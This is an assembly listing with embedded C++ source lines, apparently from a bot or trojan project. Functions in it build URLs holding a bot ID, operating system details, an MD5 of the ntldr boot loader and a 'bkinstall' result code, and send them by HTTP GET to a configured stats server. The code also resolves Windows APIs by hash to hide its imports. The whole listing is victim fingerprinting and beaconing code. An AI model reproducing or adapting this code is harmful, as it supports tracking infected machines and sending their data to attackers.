mov eax, DWORD PTR _DbgRptSettings $LN1@DebugRepor@6: ; 306 : } ; 307 : ; 308 : result = DebugReportAllocSettings(DbgRptSettings->Enabled, ; 309 : DbgRptSettings->StatPrefix, DbgRptSettings->StatUrl); 00024 ff 70 08 push DWORD PTR [eax+8] 00027 ff 70 04 push DWORD PTR [eax+4] 0002a 0f b6 00 movzx eax, BYTE PTR [eax] 0002d 50 push eax 0002e e8 00 00 00 00 call ?DebugReportAllocSettings@@YAPAUDebugReportSettings@@_NPBD1@Z ; DebugReportAllocSettings ; 310 : ; 311 : pLeaveCriticalSection(&DbgRptCs); 00033 56 push esi 00034 8b f8 mov edi, eax 00036 e8 00 00 00 00 call ??$pushargEx@$00$0DJCLGACH@$0JB@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,959143975,145,_RTL_CRITICAL_SECTION *> 0003b 83 c4 10 add esp, 16 ; 00000010H ; 312 : ; 313 : return result; 0003e 8b c7 mov eax, edi 00040 5f pop edi 00041 5e pop esi ; 314 : } 00042 c3 ret 0 ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ENDP ; DebugReportGetSettings _TEXT ENDS PUBLIC ??_C@_04CNBNFAL@step?$AA@ ; `string' PUBLIC ?DebugReportStepByName@@YAXPBD@Z ; DebugReportStepByName EXTRN ?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z:PROC ; HTTP::Get ; COMDAT ??_C@_04CNBNFAL@step?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h CONST SEGMENT ??_C@_04CNBNFAL@step?$AA@ DB 'step', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?DebugReportStepByName@@YAXPBD@Z _TEXT SEGMENT _BotUid$ = -20 ; size = 8 $T93045 = -12 ; size = 8 _URL$ = -8 ; size = 4 _Buffer$ = -4 ; size = 4 _StepName$ = 8 ; size = 4 ?DebugReportStepByName@@YAXPBD@Z PROC ; DebugReportStepByName, COMDAT ; 370 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 83 ec 14 sub esp, 20 ; 00000014H 00006 56 push esi ; 371 : DebugReportSettings* settings = DebugReportGetSettings(); 00007 e8 00 00 00 00 call ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings 0000c 8b f0 mov esi, eax ; 372 : DBGRPTDBG("DebugReportStepByName", ; 373 : "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", ; 374 : settings->Enabled, settings->StatPrefix, settings->StatUrl ; 375 : ); ; 376 : ; 377 : if (!settings->Enabled) return; 0000e 80 3e 00 cmp BYTE PTR [esi], 0 00011 0f 84 c4 00 00 00 je $LN2@DebugRepor@7 00017 53 push ebx 00018 57 push edi ; 378 : string BotUid = GenerateUidAsString(settings->StatPrefix); 00019 ff 76 04 push DWORD PTR [esi+4] 0001c 8d 4d f4 lea ecx, DWORD PTR $T93045[ebp] 0001f e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 00024 8d 45 f4 lea eax, DWORD PTR $T93045[ebp] 00027 50 push eax 00028 8d 45 ec lea eax, DWORD PTR _BotUid$[ebp] 0002b 50 push eax 0002c e8 00 00 00 00 call ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString 00031 59 pop ecx 00032 59 pop ecx 00033 8d 4d f4 lea ecx, DWORD PTR $T93045[ebp] 00036 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 379 : ; 380 : PStrings Fields = Strings::Create(); 0003b e8 00 00 00 00 call ?Create@Strings@@YAPAXXZ ; Strings::Create ; 381 : AddURLParam(Fields, "cmd", "step"); 00040 6a 00 push 0 00042 bf 00 00 00 00 mov edi, OFFSET ??_C@_04CNBNFAL@step?$AA@ 00047 57 push edi 00048 8b d8 mov ebx, eax 0004a 68 00 00 00 00 push OFFSET ??_C@_03LGLGIONO@cmd?$AA@ 0004f 53 push ebx 00050 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 382 : AddURLParam(Fields, "uid", BotUid.t_str()); 00055 8b 45 f0 mov eax, DWORD PTR _BotUid$[ebp+4] 00058 83 c4 10 add esp, 16 ; 00000010H 0005b 85 c0 test eax, eax 0005d 75 05 jne SHORT $LN9@DebugRepor@7 0005f b8 00 00 00 00 mov eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ $LN9@DebugRepor@7: 00064 6a 00 push 0 00066 50 push eax 00067 68 00 00 00 00 push OFFSET ??_C@_03MEMNCOEB@uid?$AA@ 0006c 53 push ebx 0006d e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 383 : AddURLParam(Fields, "step", (PCHAR)StepName); 00072 6a 00 push 0 00074 ff 75 08 push DWORD PTR _StepName$[ebp] 00077 57 push edi 00078 53 push ebx 00079 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 384 : ; 385 : PCHAR Params = Strings::GetText(Fields, "&"); 0007e 68 00 00 00 00 push OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@ 00083 53 push ebx 00084 e8 00 00 00 00 call ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText 00089 8b f8 mov edi, eax ; 386 : PCHAR URL = STR::New(2, settings->StatUrl, Params); 0008b 57 push edi 0008c ff 76 08 push DWORD PTR [esi+8] 0008f 6a 02 push 2 00091 e8 00 00 00 00 call ?New@STR@@YAPADKPADZZ ; STR::New ; 387 : ; 388 : DBGRPTDBG("DebugReportStepByName", "go to url='%s'", URL); ; 389 : ; 390 : PCHAR Buffer = NULL; 00096 83 65 fc 00 and DWORD PTR _Buffer$[ebp], 0 ; 391 : HTTP::Get(URL, &Buffer, NULL); 0009a 6a 00 push 0 0009c 8d 4d fc lea ecx, DWORD PTR _Buffer$[ebp] 0009f 51 push ecx 000a0 50 push eax 000a1 89 45 f8 mov DWORD PTR _URL$[ebp], eax 000a4 e8 00 00 00 00 call ?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z ; HTTP::Get 000a9 83 c4 40 add esp, 64 ; 00000040H ; 392 : ; 393 : STR::Free(Buffer); 000ac ff 75 fc push DWORD PTR _Buffer$[ebp] 000af e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 394 : STR::Free(URL); 000b4 ff 75 f8 push DWORD PTR _URL$[ebp] 000b7 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 395 : STR::Free(Params); 000bc 57 push edi 000bd e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 396 : Strings::Free(Fields); 000c2 53 push ebx 000c3 e8 00 00 00 00 call ?Free@Strings@@YAXPAX@Z ; Strings::Free ; 397 : DebugReportFreeSettings(settings); 000c8 56 push esi 000c9 e8 00 00 00 00 call ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings 000ce 83 c4 14 add esp, 20 ; 00000014H ; 398 : } 000d1 8d 4d ec lea ecx, DWORD PTR _BotUid$[ebp] 000d4 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 000d9 5f pop edi 000da 5b pop ebx $LN2@DebugRepor@7: 000db 5e pop esi 000dc c9 leave 000dd c3 ret 0 ?DebugReportStepByName@@YAXPBD@Z ENDP ; DebugReportStepByName _TEXT ENDS PUBLIC ??_C@_05FDLGEGEK@ntldr?$AA@ ; `string' PUBLIC ?CalcNtldrMd5@@YAPADPADK@Z ; CalcNtldrMd5 EXTRN ?MD5StrFromFileA@@YA?AV?$TString@D@@PBD@Z:PROC ; MD5StrFromFileA ; COMDAT ??_C@_05FDLGEGEK@ntldr?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp CONST SEGMENT ??_C@_05FDLGEGEK@ntldr?$AA@ DB 'ntldr', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?CalcNtldrMd5@@YAPADPADK@Z _TEXT SEGMENT _path$ = -268 ; size = 260 _md5$ = -8 ; size = 8 _Buffer$ = 8 ; size = 4 _BufferSize$ = 12 ; size = 4 ?CalcNtldrMd5@@YAPADPADK@Z PROC ; CalcNtldrMd5, COMDAT ; 409 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 81 ec 0c 01 00 00 sub esp, 268 ; 0000010cH 00009 56 push esi ; 410 : CHAR path[MAX_PATH]; ; 411 : ; 412 : pGetWindowsDirectoryA(path, MAX_PATH); 0000a 8d 85 f4 fe ff ff lea eax, DWORD PTR _path$[ebp] 00010 68 04 01 00 00 push 260 ; 00000104H 00015 50 push eax 00016 e8 00 00 00 00 call ??$pushargEx@$00$0HILAAMHO@$0IH@PADH@@YAPAXPADH@Z ; pushargEx<1,2024803454,135,char *,int> 0001b 59 pop ecx 0001c 59 pop ecx ; 413 : path[3] = '\0'; ; 414 : ; 415 : m_lstrcat(path, "ntldr"); 0001d 68 00 00 00 00 push OFFSET ??_C@_05FDLGEGEK@ntldr?$AA@ 00022 8d 85 f4 fe ff ff lea eax, DWORD PTR _path$[ebp] 00028 50 push eax 00029 c6 85 f7 fe ff ff 00 mov BYTE PTR _path$[ebp+3], 0 00030 e8 00 00 00 00 call ?m_lstrcat@@YGXPADPBD@Z ; m_lstrcat ; 416 : ; 417 : m_memset(Buffer, 0, BufferSize); 00035 ff 75 0c push DWORD PTR _BufferSize$[ebp] 00038 8b 75 08 mov esi, DWORD PTR _Buffer$[ebp] 0003b 6a 00 push 0 0003d 56 push esi 0003e e8 00 00 00 00 call ?m_memset@@YAXPBXEI@Z ; m_memset ; 418 : ; 419 : string md5 = MD5StrFromFileA(path); 00043 8d 85 f4 fe ff ff lea eax, DWORD PTR _path$[ebp] 00049 50 push eax 0004a 8d 45 f8 lea eax, DWORD PTR _md5$[ebp] 0004d 50 push eax 0004e e8 00 00 00 00 call ?MD5StrFromFileA@@YA?AV?$TString@D@@PBD@Z ; MD5StrFromFileA ; 420 : ; 421 : if (md5.IsEmpty()) return NULL; 00053 ff 75 fc push DWORD PTR _md5$[ebp+4] 00056 e8 00 00 00 00 call ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS::IsEmpty 0005b 83 c4 18 add esp, 24 ; 00000018H 0005e 84 c0 test al, al 00060 74 0d je SHORT $LN2@CalcNtldrM 00062 8d 4d f8 lea ecx, DWORD PTR _md5$[ebp] 00065 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 0006a 33 c0 xor eax, eax $LN3@CalcNtldrM: 0006c 5e pop esi ; 425 : ; 426 : return Buffer; ; 427 : } 0006d c9 leave 0006e c3 ret 0 $LN2@CalcNtldrM: ; 422 : if (BufferSize < 33) return NULL; 0006f 83 7d 0c 21 cmp DWORD PTR _BufferSize$[ebp], 33 ; 00000021H 00073 73 0e jae SHORT $LN1@CalcNtldrM 00075 33 f6 xor esi, esi $LN11@CalcNtldrM: 00077 8d 4d f8 lea ecx, DWORD PTR _md5$[ebp] 0007a e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 0007f 8b c6 mov eax, esi 00081 eb e9 jmp SHORT $LN3@CalcNtldrM $LN1@CalcNtldrM: ; 423 : ; 424 : m_lstrcat(Buffer, md5.t_str()); 00083 83 7d fc 00 cmp DWORD PTR _md5$[ebp+4], 0 00087 8b 45 fc mov eax, DWORD PTR _md5$[ebp+4] 0008a 75 05 jne SHORT $LN10@CalcNtldrM 0008c b8 00 00 00 00 mov eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ $LN10@CalcNtldrM: 00091 50 push eax 00092 56 push esi 00093 e8 00 00 00 00 call ?m_lstrcat@@YGXPADPBD@Z ; m_lstrcat 00098 eb dd jmp SHORT $LN11@CalcNtldrM ?CalcNtldrMd5@@YAPADPADK@Z ENDP ; CalcNtldrMd5 _TEXT ENDS PUBLIC ??_C@_04HMPDOICP@cs01?$AA@ ; `string' PUBLIC ??_C@_02EHCHIAMF@os?$AA@ ; `string' PUBLIC ??_C@_09GCOHINED@beforerbt?$AA@ ; `string' PUBLIC ?DebugReportSystem@@YAXXZ ; DebugReportSystem EXTRN ?MemFree@@YAXPAX@Z:PROC ; MemFree EXTRN ?GetOSInfo@@YAPADXZ:PROC ; GetOSInfo ; COMDAT ??_C@_04HMPDOICP@cs01?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h CONST SEGMENT ??_C@_04HMPDOICP@cs01?$AA@ DB 'cs01', 00H ; `string' CONST ENDS ; COMDAT ??_C@_02EHCHIAMF@os?$AA@ CONST SEGMENT ??_C@_02EHCHIAMF@os?$AA@ DB 'os', 00H ; `string' CONST ENDS ; COMDAT ??_C@_09GCOHINED@beforerbt?$AA@ CONST SEGMENT ??_C@_09GCOHINED@beforerbt?$AA@ DB 'beforerbt', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?DebugReportSystem@@YAXXZ _TEXT SEGMENT _NtldrMd5Buffer$ = -128 ; size = 100 _BotUid$ = -28 ; size = 8 $T93075 = -20 ; size = 8 _Params$ = -16 ; size = 4 _OsInfo$ = -12 ; size = 4 _Buffer$ = -8 ; size = 4 _URL$ = -4 ; size = 4 _NtldrMd5$ = -4 ; size = 4 ?DebugReportSystem@@YAXXZ PROC ; DebugReportSystem, COMDAT ; 430 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 81 ec 80 00 00 00 sub esp, 128 ; 00000080H 00009 53 push ebx 0000a 56 push esi ; 431 : DebugReportSettings* settings = DebugReportGetSettings(); 0000b e8 00 00 00 00 call ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings 00010 8b f0 mov esi, eax ; 432 : DBGRPTDBG("DebugReportSystem", ; 433 : "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", ; 434 : settings->Enabled, settings->StatPrefix, settings->StatUrl ; 435 : ); ; 436 : ; 437 : if (!settings->Enabled) return; 00012 33 db xor ebx, ebx 00014 38 1e cmp BYTE PTR [esi], bl 00016 0f 84 f8 00 00 00 je $LN3@DebugRepor@8 0001c 57 push edi ; 438 : string BotUid = GenerateUidAsString(settings->StatPrefix); 0001d ff 76 04 push DWORD PTR [esi+4] 00020 8d 4d ec lea ecx, DWORD PTR $T93075[ebp] 00023 e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 00028 8d 45 ec lea eax, DWORD PTR $T93075[ebp] 0002b 50 push eax 0002c 8d 45 e4 lea eax, DWORD PTR _BotUid$[ebp] 0002f 50 push eax 00030 e8 00 00 00 00 call ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString 00035 59 pop ecx 00036 59 pop ecx 00037 8d 4d ec lea ecx, DWORD PTR $T93075[ebp] 0003a e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 439 : ; 440 : CHAR NtldrMd5Buffer[100]; ; 441 : PCHAR OsInfo = NULL; ; 442 : PCHAR NtldrMd5 = NULL; ; 443 : ; 444 : OsInfo = GetOSInfo(); 0003f e8 00 00 00 00 call ?GetOSInfo@@YAPADXZ ; GetOSInfo 00044 89 45 f4 mov DWORD PTR _OsInfo$[ebp], eax ; 445 : NtldrMd5 = CalcNtldrMd5(NtldrMd5Buffer, sizeof(NtldrMd5Buffer)); 00047 8d 45 80 lea eax, DWORD PTR _NtldrMd5Buffer$[ebp] 0004a 6a 64 push 100 ; 00000064H 0004c 50 push eax 0004d e8 00 00 00 00 call ?CalcNtldrMd5@@YAPADPADK@Z ; CalcNtldrMd5 00052 89 45 fc mov DWORD PTR _NtldrMd5$[ebp], eax ; 446 : ; 447 : PStrings Fields = Strings::Create(); 00055 e8 00 00 00 00 call ?Create@Strings@@YAPAXXZ ; Strings::Create ; 448 : AddURLParam(Fields, "cmd", "beforerbt"); 0005a 53 push ebx 0005b 68 00 00 00 00 push OFFSET ??_C@_09GCOHINED@beforerbt?$AA@ 00060 8b f8 mov edi, eax 00062 68 00 00 00 00 push OFFSET ??_C@_03LGLGIONO@cmd?$AA@ 00067 57 push edi 00068 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 449 : AddURLParam(Fields, "uid", BotUid.t_str()); 0006d 8b 45 e8 mov eax, DWORD PTR _BotUid$[ebp+4] 00070 83 c4 18 add esp, 24 ; 00000018H 00073 3b c3 cmp eax, ebx 00075 75 05 jne SHORT $LN10@DebugRepor@8 00077 b8 00 00 00 00 mov eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ $LN10@DebugRepor@8: 0007c 53 push ebx 0007d 50 push eax 0007e 68 00 00 00 00 push OFFSET ??_C@_03MEMNCOEB@uid?$AA@ 00083 57 push edi 00084 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 450 : AddURLParam(Fields, "os", OsInfo); 00089 53 push ebx 0008a ff 75 f4 push DWORD PTR _OsInfo$[ebp] 0008d 68 00 00 00 00 push OFFSET ??_C@_02EHCHIAMF@os?$AA@ 00092 57 push edi 00093 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam 00098 83 c4 20 add esp, 32 ; 00000020H ; 451 : ; 452 : if (NtldrMd5 != NULL) 0009b 39 5d fc cmp DWORD PTR _NtldrMd5$[ebp], ebx 0009e 74 12 je SHORT $LN1@DebugRepor@8 ; 453 : { ; 454 : AddURLParam(Fields, "cs01", NtldrMd5); 000a0 53 push ebx 000a1 ff 75 fc push DWORD PTR _NtldrMd5$[ebp] 000a4 68 00 00 00 00 push OFFSET ??_C@_04HMPDOICP@cs01?$AA@ 000a9 57 push edi 000aa e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam 000af 83 c4 10 add esp, 16 ; 00000010H $LN1@DebugRepor@8: ; 455 : } ; 456 : ; 457 : PCHAR Params = Strings::GetText(Fields, "&"); 000b2 68 00 00 00 00 push OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@ 000b7 57 push edi 000b8 e8 00 00 00 00 call ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText ; 458 : PCHAR URL = STR::New(2, settings->StatUrl, Params); 000bd 50 push eax 000be ff 76 08 push DWORD PTR [esi+8] 000c1 89 45 f0 mov DWORD PTR _Params$[ebp], eax 000c4 6a 02 push 2 000c6 e8 00 00 00 00 call ?New@STR@@YAPADKPADZZ ; STR::New ; 459 : ; 460 : DBGRPTDBG("DebugReportSystem", "sending url='%s'", URL); ; 461 : ; 462 : PCHAR Buffer = NULL; ; 463 : HTTP::Get(URL, &Buffer, NULL); 000cb 53 push ebx 000cc 8d 4d f8 lea ecx, DWORD PTR _Buffer$[ebp] 000cf 51 push ecx 000d0 50 push eax 000d1 89 45 fc mov DWORD PTR _URL$[ebp], eax 000d4 89 5d f8 mov DWORD PTR _Buffer$[ebp], ebx 000d7 e8 00 00 00 00 call ?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z ; HTTP::Get ; 464 : ; 465 : STR::Free(Buffer); 000dc ff 75 f8 push DWORD PTR _Buffer$[ebp] 000df e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 466 : STR::Free(URL); 000e4 ff 75 fc push DWORD PTR _URL$[ebp] 000e7 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 467 : STR::Free(Params); 000ec ff 75 f0 push DWORD PTR _Params$[ebp] 000ef e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 468 : Strings::Free(Fields); 000f4 57 push edi 000f5 e8 00 00 00 00 call ?Free@Strings@@YAXPAX@Z ; Strings::Free ; 469 : MemFree(OsInfo); 000fa ff 75 f4 push DWORD PTR _OsInfo$[ebp] 000fd e8 00 00 00 00 call ?MemFree@@YAXPAX@Z ; MemFree ; 470 : DebugReportFreeSettings(settings); 00102 56 push esi 00103 e8 00 00 00 00 call ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings 00108 83 c4 38 add esp, 56 ; 00000038H ; 471 : } 0010b 8d 4d e4 lea ecx, DWORD PTR _BotUid$[ebp] 0010e e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 00113 5f pop edi $LN3@DebugRepor@8: 00114 5e pop esi 00115 5b pop ebx 00116 c9 leave 00117 c3 ret 0 ?DebugReportSystem@@YAXXZ ENDP ; DebugReportSystem _TEXT ENDS PUBLIC ??_C@_03BALCFKBP@val?$AA@ ; `string' PUBLIC ??_C@_09IJIHGPHM@bkinstall?$AA@ ; `string' PUBLIC ??_C@_02GMHACPFF@?$CFu?$AA@ ; `string' PUBLIC ?DebugReportBkInstallCode@@YAXK@Z ; DebugReportBkInstallCode EXTRN ?GetProcAddressEx@@YAPAXPADKK@Z:PROC ; GetProcAddressEx ; COMDAT ??_C@_03BALCFKBP@val?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h CONST SEGMENT ??_C@_03BALCFKBP@val?$AA@ DB 'val', 00H ; `string' CONST ENDS ; COMDAT ??_C@_09IJIHGPHM@bkinstall?$AA@ CONST SEGMENT ??_C@_09IJIHGPHM@bkinstall?$AA@ DB 'bkinstall', 00H ; `string' CONST ENDS ; COMDAT ??_C@_02GMHACPFF@?$CFu?$AA@ CONST SEGMENT ??_C@_02GMHACPFF@?$CFu?$AA@ DB '%u', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?DebugReportBkInstallCode@@YAXK@Z _TEXT SEGMENT _value$ = -76 ; size = 50 _BotUid$ = -24 ; size = 8 $T93090 = -16 ; size = 8 _Params$ = -12 ; size = 4 _URL$ = -8 ; size = 4 _Buffer$ = -4 ; size = 4 _BkInstallResult$ = 8 ; size = 4 ?DebugReportBkInstallCode@@YAXK@Z PROC ; DebugReportBkInstallCode, COMDAT ; 474 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 83 ec 4c sub esp, 76 ; 0000004cH 00006 53 push ebx 00007 56 push esi ; 475 : DebugReportSettings* settings = DebugReportGetSettings(); 00008 e8 00 00 00 00 call ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings 0000d 8b f0 mov esi, eax ; 476 : DBGRPTDBG("DebugReportBkInstallCode", ; 477 : "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", ; 478 : settings->Enabled, settings->StatPrefix, settings->StatUrl ; 479 : ); ; 480 : ; 481 : if (!settings->Enabled) return; 0000f 33 db xor ebx, ebx 00011 38 1e cmp BYTE PTR [esi], bl 00013 0f 84 ed 00 00 00 je $LN2@DebugRepor@9 00019 57 push edi ; 482 : string BotUid = GenerateUidAsString(settings->StatPrefix); 0001a ff 76 04 push DWORD PTR [esi+4] 0001d 8d 4d f0 lea ecx, DWORD PTR $T93090[ebp] 00020 e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 00025 8d 45 f0 lea eax, DWORD PTR $T93090[ebp] 00028 50 push eax 00029 8d 45 e8 lea eax, DWORD PTR _BotUid$[ebp] 0002c 50 push eax 0002d e8 00 00 00 00 call ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString 00032 59 pop ecx 00033 59 pop ecx 00034 8d 4d f0 lea ecx, DWORD PTR $T93090[ebp] 00037 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 483 : ; 484 : CHAR value[50]; ; 485 : ; 486 : typedef int ( WINAPI *fwsprintfA)( PCHAR lpOut, PCHAR lpFmt, ... ); ; 487 : fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); 0003c 68 d7 f0 3a ea push -365236009 ; ea3af0d7H 00041 6a 03 push 3 00043 53 push ebx 00044 e8 00 00 00 00 call ?GetProcAddressEx@@YAPAXPADKK@Z ; GetProcAddressEx ; 488 : ; 489 : m_memset(value, 0, sizeof(value)); 00049 6a 32 push 50 ; 00000032H 0004b 8b f8 mov edi, eax 0004d 8d 45 b4 lea eax, DWORD PTR _value$[ebp] 00050 53 push ebx 00051 50 push eax 00052 e8 00 00 00 00 call ?m_memset@@YAXPBXEI@Z ; m_memset ; 490 : ; 491 : _pwsprintfA(value, "%u", BkInstallResult); 00057 ff 75 08 push DWORD PTR _BkInstallResult$[ebp] 0005a 8d 45 b4 lea eax, DWORD PTR _value$[ebp] 0005d 68 00 00 00 00 push OFFSET ??_C@_02GMHACPFF@?$CFu?$AA@ 00062 50 push eax 00063 ff d7 call edi ; 492 : ; 493 : PStrings Fields = Strings::Create(); 00065 e8 00 00 00 00 call ?Create@Strings@@YAPAXXZ ; Strings::Create ; 494 : AddURLParam(Fields, "cmd", "bkinstall"); 0006a 53 push ebx 0006b 68 00 00 00 00 push OFFSET ??_C@_09IJIHGPHM@bkinstall?$AA@ 00070 8b f8 mov edi, eax 00072 68 00 00 00 00 push OFFSET ??_C@_03LGLGIONO@cmd?$AA@ 00077 57 push edi 00078 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 495 : AddURLParam(Fields, "uid", BotUid.t_str()); 0007d 8b 45 ec mov eax, DWORD PTR _BotUid$[ebp+4] 00080 83 c4 34 add esp, 52 ; 00000034H 00083 3b c3 cmp eax, ebx 00085 75 05 jne SHORT $LN9@DebugRepor@9 00087 b8 00 00 00 00 mov eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ $LN9@DebugRepor@9: 0008c 53 push ebx 0008d 50 push eax 0008e 68 00 00 00 00 push OFFSET ??_C@_03MEMNCOEB@uid?$AA@ 00093 57 push edi 00094 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 496 : AddURLParam(Fields, "val", value); 00099 53 push ebx 0009a 8d 45 b4 lea eax, DWORD PTR _value$[ebp] 0009d 50 push eax 0009e 68 00 00 00 00 push OFFSET ??_C@_03BALCFKBP@val?$AA@ 000a3 57 push edi 000a4 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 497 : ; 498 : PCHAR Params = Strings::GetText(Fields, "&"); 000a9 68 00 00 00 00 push OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@ 000ae 57 push edi 000af e8 00 00 00 00 call ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText ; 499 : PCHAR URL = STR::New(2, settings->StatUrl, Params); 000b4 50 push eax 000b5 ff 76 08 push DWORD PTR [esi+8] 000b8 89 45 f4 mov DWORD PTR _Params$[ebp], eax 000bb 6a 02 push 2 000bd e8 00 00 00 00 call ?New@STR@@YAPADKPADZZ ; STR::New ; 500 : ; 501 : DBGRPTDBG("DebugReportBkInstallCode", "sending url='%s'", URL); ; 502 : ; 503 : PCHAR Buffer = NULL; ; 504 : HTTP::Get(URL, &Buffer, NULL); 000c2 53 push ebx 000c3 8d 4d fc lea ecx, DWORD PTR _Buffer$[ebp] 000c6 51 push ecx 000c7 50 push eax 000c8 89 45 f8 mov DWORD PTR _URL$[ebp], eax 000cb 89 5d fc mov DWORD PTR _Buffer$[ebp], ebx 000ce e8 00 00 00 00 call ?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z ; HTTP::Get 000d3 83 c4 40 add esp, 64 ; 00000040H ; 505 : ; 506 : STR::Free(Buffer); 000d6 ff 75 fc push DWORD PTR _Buffer$[ebp] 000d9 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 507 : STR::Free(URL); 000de ff 75 f8 push DWORD PTR _URL$[ebp] 000e1 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 508 : STR::Free(Params); 000e6 ff 75 f4 push DWORD PTR _Params$[ebp] 000e9 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 509 : Strings::Free(Fields); 000ee 57 push edi 000ef e8 00 00 00 00 call ?Free@Strings@@YAXPAX@Z ; Strings::Free ; 510 : DebugReportFreeSettings(settings); 000f4 56 push esi 000f5 e8 00 00 00 00 call ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings 000fa 83 c4 14 add esp, 20 ; 00000014H ; 511 : } 000fd 8d 4d e8 lea ecx, DWORD PTR _BotUid$[ebp] 00100 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 00105 5f pop edi $LN2@DebugRepor@9: 00106 5e pop esi 00107 5b pop ebx 00108 c9 leave 00109 c3 ret 0 ?DebugReportBkInstallCode@@YAXK@Z ENDP ; DebugReportBkInstallCode _TEXT ENDS PUBLIC ??_C@_04ODMANJEA@csup?$AA@ ; `string' PUBLIC ?DebugReportUpdateNtldrCheckSum@@YAXXZ ; DebugReportUpdateNtldrCheckSum ; COMDAT ??_C@_04ODMANJEA@csup?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h CONST SEGMENT ??_C@_04ODMANJEA@csup?$AA@ DB 'csup', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT 